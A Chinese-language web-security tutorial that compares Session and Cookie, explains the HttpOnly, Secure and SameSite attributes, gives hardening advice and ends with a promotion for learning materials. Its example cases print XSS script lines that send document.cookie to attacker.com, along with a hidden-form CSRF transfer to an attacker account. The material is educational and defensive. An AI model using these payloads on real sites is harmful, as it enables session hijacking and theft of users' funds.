文章目录1. Session 与 Cookie 的区别定义存储位置生命周期数据量安全性2. Session 与 Cookie 在安全方面的区别3. Cookie 中与安全相关的字段及漏洞利用与安全相关的字段漏洞利用4. Cookie 安全和 Session 安全需要注意的方面及安全利用方法Cookie 安全注意事项Session 安全注意事项安全利用方法5. 实际工作案例案例 1XSS 窃取 Cookie案例 2CSRF 转账攻击案例 3Session 固定攻击1. Session 与 Cookie 的区别定义Cookie一种客户端存储机制由服务器通过 HTTP 响应头的Set-Cookie字段发送到客户端浏览器在后续请求中自动携带这些数据。Cookie 通常用于存储少量信息如用户偏好或会话标识。Session一种服务器端存储机制用于在服务器上维护用户的会话状态。Session 通常通过 Cookie 传递一个唯一的 Session ID服务器根据此 ID 查找对应的会话数据。存储位置Cookie数据存储在客户端浏览器中。Session数据存储在服务器端客户端仅持有 Session ID。生命周期Cookie可设置过期时间过期后自动失效若未设置则浏览器关闭后失效。Session通常在用户一段时间不活动后由服务器销毁具体时间由服务器配置。数据量Cookie受浏览器限制通常不超过 4KB。Session存储在服务器端数据量理论上无限制但受服务器资源约束。安全性Cookie存储在客户端易被窃取或篡改。Session数据在服务器端相对安全但 Session ID 泄露可能导致风险。2. Session 与 Cookie 在安全方面的区别数据存储位置Cookie数据存储在客户端可能包含敏感信息易被攻击者获取。Session敏感数据存储在服务器客户端仅持有 Session ID安全性更高。篡改风险Cookie攻击者可通过浏览器工具或脚本直接修改 Cookie 值。SessionSession 数据在服务器端客户端无法直接篡改。泄露风险Cookie易受 XSS跨站脚本攻击窃取若未加密传输还可能被截获。SessionSession ID 若泄露可能导致会话劫持但数据本身较安全。持久性Cookie可设置长时间有效增加被利用的风险。Session通常短期有效过期后失效风险较低。总结Session 因数据存储在服务器端比 Cookie 更安全但需保护好 Session ID。3. Cookie 中与安全相关的字段及漏洞利用与安全相关的字段HttpOnly禁止 JavaScript 访问 Cookie防止 XSS 攻击窃取。Secure限制 Cookie 仅通过 HTTPS 传输防止中间人攻击。SameSite控制 Cookie 在跨站请求中的发送行为防止 CSRF跨站请求伪造攻击SameSiteStrict仅同站请求携带 Cookie。SameSiteLax允许部分跨站请求如 GET携带。SameSiteNone允许所有跨站请求需配合 Secure。漏洞利用XSS 攻击方式攻击者注入恶意脚本窃取未设置 HttpOnly 的 Cookie。示例scriptdocument.write(img srchttp://attacker.com/steal?cookie document.cookie )/script。CSRF 攻击方式攻击者诱导用户在登录状态下访问恶意网站触发带 Cookie 的请求。示例用户访问恶意网站自动提交表单到http://bank.com/transfer。中间人攻击方式在 HTTP 连接中截获未设置 Secure 的 Cookie。示例攻击者重放 Cookie 冒充用户。4. Cookie 安全和 Session 安全需要注意的方面及安全利用方法Cookie 安全注意事项设置HttpOnly防止 XSS 窃取。设置Secure确保仅在 HTTPS 中传输。设置SameSite根据需求选择策略防止 CSRF。设置短过期时间减少被利用的时间窗口。避免存储明文敏感信息必要时加密。Session 安全注意事项Session ID 安全使用长随机 ID防止猜测。定期更换 ID防止会话固定攻击。过期策略设置合理过期时间避免长期有效。服务器保护使用安全的存储方式如加密数据库。防止未授权访问 Session 数据。安全利用方法Cookie仅存储 Session ID敏感数据放入 Session。启用 HttpOnly、Secure 和 SameSite。Session确保 Session ID 通过安全通道传输。用户登出时销毁 Session。5. 实际工作案例案例 1XSS 窃取 Cookie场景某网站未设置 HttpOnly用户评论区存在 XSS 漏洞。过程攻击者在评论中注入scriptfetch(http://attacker.com/steal?cookie document.cookie)/script。用户访问页面脚本执行Cookie 被发送到攻击者服务器。结果攻击者获取 Cookie冒充用户。案例 2CSRF 转账攻击场景某银行网站未设置 SameSite用户登录后访问恶意网站。过程恶意网站包含表单form actionhttp://bank.com/transfer methodPOSTinput typehidden nameamount value1000input typehidden nameto valueattacker/form。用户访问时浏览器自动发送请求。结果用户资金被转走。案例 3Session 固定攻击场景某网站在登录前分配 Session ID。过程攻击者获取 Session ID 并诱导受害者使用。受害者登录后攻击者使用同一 ID 访问。结果攻击者冒充受害者。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取